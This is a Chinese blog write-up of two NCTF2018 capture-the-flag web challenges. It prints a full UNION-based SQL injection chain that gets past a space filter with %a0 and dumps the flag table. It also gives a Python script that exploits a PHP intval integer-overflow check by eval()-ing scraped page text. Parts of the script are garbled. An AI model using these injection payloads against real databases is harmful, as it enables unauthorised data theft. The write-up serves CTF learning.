NCTF2018部分题WP(2)

第一题:滴!晨跑打卡

这道题过滤了空格,但是可以使用url编码来绕过,这里我们可以使用%a0,也就是加号来绕过。

首先查列数:

编码:1%27%a0union%a0select%a01,2,3%27#
NCTF2018部分题WP(2)_第1张图片
很明显可以查出是三列。

然后就是查数据库名:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),3%271
NCTF2018部分题WP(2)_第2张图片
推断出这个库名是flaaaaaaag

查表名:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(table_name)%a0FROM%a0information_schema.tables%a0where%a0table_schema=%22flaaaaaaag%22),3%27
NCTF2018部分题WP(2)_第3张图片

查列名:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(column_name)%a0FROM%a0information_schema.columns%a0where%a0table_name=%22f144444444g%22),3%27
NCTF2018部分题WP(2)_第4张图片

爆库:

编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(th1s_1s_flag)%a0FROM%a0flaaaaaaag.f144444444g),3%27

NCTF2018部分题WP(2)_第5张图片

第二题:小绿草之最强大脑

在这里插入图片描述

首先看网页源代码。第一反应就是CTF中常有的BAK文件。于是直接下载index.php.bak文件。
拿到源码:NCTF2018部分题WP(2)_第6张图片

我们知道int型最大的取值范围就是2^31次方,(无符号)。这里PHP使用了intval函数来防止整数溢出的危害。

在32位机器和64机器上的运行结果也是不一样的。
PHP脚本:

  

输出结果为:9223372036854775807

下面直接写python脚本:

NCTF2018部分题WP(2)_第7张图片

NCTF2018部分题WP(2)_第8张图片

#!/usr/bin/env python
import requests
import re
import time
s = requests.Session()
html = s.get(url="http://ctfgame.acdxvfsvd.net:20004/index.php")
while 1:    
    pattern = "(
.*?
)" ss = re.findall(pattern,html.text) calc = "" for i in range(0,len(ss)-1): calc = calc+ ss[i].replace("
","").replace("
","") number1 = '9223372036854775807+' result = eval(number1+calc) print result data = { 'input':'4200000000000000000000', 'ans':result } html=s.post("http://ctfgame.acdxvfsvd.net:20004/index.php",data) print html.text time.sleep(2)

转载请声明:CSDN程序小黑:https://mp.csdn.net/mdeditor/84472145#

你可能感兴趣的:(网络安全,网络空间安全)